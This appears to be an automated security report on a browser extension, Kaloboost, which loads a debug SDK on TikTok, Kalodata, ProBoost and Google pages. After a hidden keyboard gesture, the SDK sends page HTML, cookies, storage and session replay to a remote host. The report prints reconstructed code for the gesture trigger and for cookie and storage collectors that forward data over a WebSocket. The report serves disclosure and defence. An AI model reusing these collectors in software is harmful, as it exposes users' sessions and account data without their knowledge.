Is Kaloboost safe?
Kaloboost is high risk. Kaloboost loads the PageSpy debug SDK on scoped TikTok, Kalodata, ProBoost, and Google pages. A keyboard gesture opens a room/WebSocket at pagespy.microdata-inc.com, staging page HTML, URL, cookies, storage, and console/replay data.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Debug SDK streams scoped page data to Microdata
Kaloboost loads the PageSpy debug SDK on scoped TikTok, Kalodata, ProBoost, and Google pages.
A keyboard gesture opens a room/WebSocket at pagespy.microdata-inc.com, staging page HTML, URL, cookies, storage, and console/replay data.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You open a scoped TikTok, Kalodata, ProBoost, or Google account page and the configured keyboard gesture is entered.
The manifest limits this content script to the listed seller, affiliate, Kalodata, ProBoost, and accounts.google.com URL patterns.
The extension starts a PageSpy room that can send the page contents and browser-side state to pagespy.microdata-inc.com.
The SDK prepares page HTML, current location, cookies, storage values, console output, and replay events for the PageSpy socket.
- Page HTML<html><body><div id="seller-dashboard">Orders</div></body></html> (illustrative)
This can reveal the page content and form structure you are viewing on the scoped site.
- Current page locationhttps://partner.us.tiktokshop.com/dashboard?shop_region=US (illustrative)
This identifies the exact account, shop, workflow, or login page open in your browser.
- Browser cookieslocale=en-US; tt_shop_region=US (illustrative)
Cookies can identify your browser session or account state when the scoped site exposes them to page scripts.
- Local storageseller_region=US (illustrative)
Local storage can contain account identifiers, shop settings, feature flags, and application state.
- Session storageactive_shop_id=749302184615 (illustrative)
Session storage can describe the current tab session and temporary account workflow state.
- Console and replay events{"type":"rrweb-event","timestamp":1762821394123} (illustrative)
These records can reveal page errors, debug messages, clicks, DOM changes, and other activity during the session.
Shipped PageSpy setup, activation, collection, and network paths
Readable equivalent of the content-script SDK setup
assets/main.tsx.1a0a8fe7.jsasync function initializePageSpy() { try { const [pageSpyModule, harborModule, rrwebModule] = await Promise.all([ import("./index.min.97eb9b8c.js"), import("./index.min.e91a0245.js"), import("./index.min.2ed666bd.js"), ]); const PageSpy = pageSpyModule.default; const Harbor = harborModule.default; const RRWeb = rrwebModule.default; if (PageSpy === undefined || Harbor === undefined || RRWeb === undefined) return; window.$harbor = new Harbor(); window.$rrweb = new RRWeb(); [window.$harbor, window.$rrweb].forEach((plugin) => { try { PageSpy.registerPlugin(plugin); } catch {} }); window.$pageSpy = new PageSpy({ api: "pagespy.microdata-inc.com", clientOrigin: "https://pagespy.microdata-inc.com", title: "ProBoost", lang: "zh", modal: { title: "proboost日志访问", logo: "https://picbed.microdata-inc.com/nas/20241126af40ef95d9e4404189ffb3d0fd6d47a4.png", }, logo: "https://picbed.microdata-inc.com/nas/20241126af40ef95d9e4404189ffb3d0fd6d47a4.png", gesture: ["U", "U", "D", "D", "L", "L", "R", "R"], }); } catch { try { if (window.$harbor) delete window.$harbor; if (window.$rrweb) delete window.$rrweb; if (window.$pageSpy) delete window.$pageSpy; } catch {} }}Readable equivalent of the gesture matcher
assets/index.min.97eb9b8c.jsfunction registerGesture(command, onMatch) { const commandLength = command.length; if (commandLength === 0) throw new TypeError("The `command` must not be an empty array"); const ringBuffer = []; let pointer = 0; const handleDirection = (direction) => { if (direction === null) { pointer = 0; ringBuffer.length = 0; return; } ringBuffer[pointer] = direction; pointer = (pointer + 1) % commandLength; if (ringBuffer.length === commandLength) { for (let index = 0; index < commandLength; index++) { if (command[index] !== ringBuffer[(pointer + index) % commandLength]) return; } onMatch(); } }; registerTouchGesture(handleDirection); window.addEventListener("keydown", (event) => { const index = ["ArrowUp", "ArrowRight", "ArrowDown", "ArrowLeft"].indexOf(event.key); handleDirection(index >= 0 ? directionNames[index] : null); }, { passive: true });}Readable equivalent of the page collector
assets/index.min.97eb9b8c.jsclass PagePlugin { constructor() { this.name = "PagePlugin"; this.$pageSpyConfig = null; } onInit({ config }) { if (PagePlugin.hasInitd) return; PagePlugin.hasInitd = true; this.$pageSpyConfig = config; socketStore.addListener("refresh", (event, reply) => { const { data } = event.source; if (data === "page") { const page = PagePlugin.collectHtml(); if (this.$pageSpyConfig?.dataProcessor?.page?.(page) === false) return; const message = makeMessage("page", page); socketStore.dispatchEvent("public-data", message); reply(message); } }); } onReset() { PagePlugin.hasInitd = false; } static collectHtml() { return { html: document.documentElement.outerHTML, location: window.location }; }}Readable equivalent of the storage and cookie collector
assets/index.min.97eb9b8c.jsclass StoragePlugin { constructor() { this.name = "StoragePlugin"; this.originSetItem = null; this.originRemoveItem = null; this.originClear = null; this.cookieStoreChangeListener = null; this.$pageSpyConfig = null; } onInit({ config }) { if (StoragePlugin.hasInitd) return; StoragePlugin.hasInitd = true; this.$pageSpyConfig = config; this.listenRefreshEvent(); this.onceInitPublicData(); this.initStorageProxy(); socketStore.addListener("harbor-clear", () => { this.onceInitPublicData(); }); } onReset() { if (this.originClear) Storage.prototype.clear = this.originClear; if (this.originRemoveItem) Storage.prototype.removeItem = this.originRemoveItem; if (this.originSetItem) Storage.prototype.setItem = this.originSetItem; if (this.cookieStoreChangeListener && window.cookieStore) { window.cookieStore.removeEventListener("change", this.cookieStoreChangeListener); } StoragePlugin.hasInitd = false; } async sendRefresh(storageKind) { let item = null; switch (storageKind) { case "localStorage": case "sessionStorage": item = this.takeStorage(storageKind); break; case "cookie": item = await this.takeCookie(); break; } if (item) this.sendStorageItem(item); } listenRefreshEvent() { socketStore.addListener("refresh", async (event) => { const { data } = event.source; this.sendRefresh(data); }); } takeStorage(storageName) { const result = { type: storageName, action: "get", data: [] }; const storage = window[storageName]; const length = storage.length; if (!length) return result; for (let index = 0; index <= length - 1; index++) { const key = storage.key(index); if (key) { const value = storage.getItem(key) || ""; result.data.push({ name: key, value }); } } return result; } async takeCookie() { const result = { type: "cookie", action: "get", data: [] }; if (window.cookieStore) { result.data = await window.cookieStore.getAll(); } else if (document.cookie) { result.data = document.cookie.split("; " ).map((cookie) => { const [name, value] = cookie.split("="); return { name, value }; }); } return result; } initStorageProxy() { const { clear, removeItem, setItem } = Storage.prototype; this.originClear = clear; this.originRemoveItem = removeItem; this.originSetItem = setItem; const plugin = this; Storage.prototype.clear = function () { clear.call(this); plugin.sendStorageItem({ type: plugin.getStorageType(this), action: "clear" }); }; Storage.prototype.removeItem = function (key) { removeItem.call(this, key); plugin.sendStorageItem({ type: plugin.getStorageType(this), action: "remove", name: String(key) }); }; Storage.prototype.setItem = function (key, value) { setItem.call(this, key, value); plugin.sendStorageItem({ type: plugin.getStorageType(this), action: "set", name: String(key), value: String(value) }); }; if (window.cookieStore) { this.cookieStoreChangeListener = (event) => { const { changed, deleted } = event; changed.forEach((cookie) => this.sendStorageItem({ type: "cookie", action: "set", ...cookie })); deleted.forEach((cookie) => this.sendStorageItem({ type: "cookie", action: "remove", name: cookie.name })); }; window.cookieStore.addEventListener("change", this.cookieStoreChangeListener); } } async onceInitPublicData() { const items = await Promise.all([this.takeStorage("localStorage"), this.takeStorage("sessionStorage"), this.takeCookie()]); items.forEach((item) => { if (this.$pageSpyConfig?.dataProcessor?.storage?.(item) === false) return; const message = makeMessage("storage", item); socketStore.dispatchEvent("public-data", message); }); } getStorageType(storage) { return storage === localStorage ? "localStorage" : storage === sessionStorage ? "sessionStorage" : storage.constructor.name; } sendStorageItem(item) { if (this.$pageSpyConfig?.dataProcessor?.storage?.(item) === false) return; const message = makeMessage("storage", item); socketStore.dispatchEvent("public-data", message); socketStore.broadcastMessage(message, true); }}- pagespy.microdata-inc.com
Receives the PageSpy room creation request and WebSocket connection for page, storage, console, and replay records.
- picbed.microdata-inc.com
Hosts the logo URL configured for the PageSpy modal and SDK UI.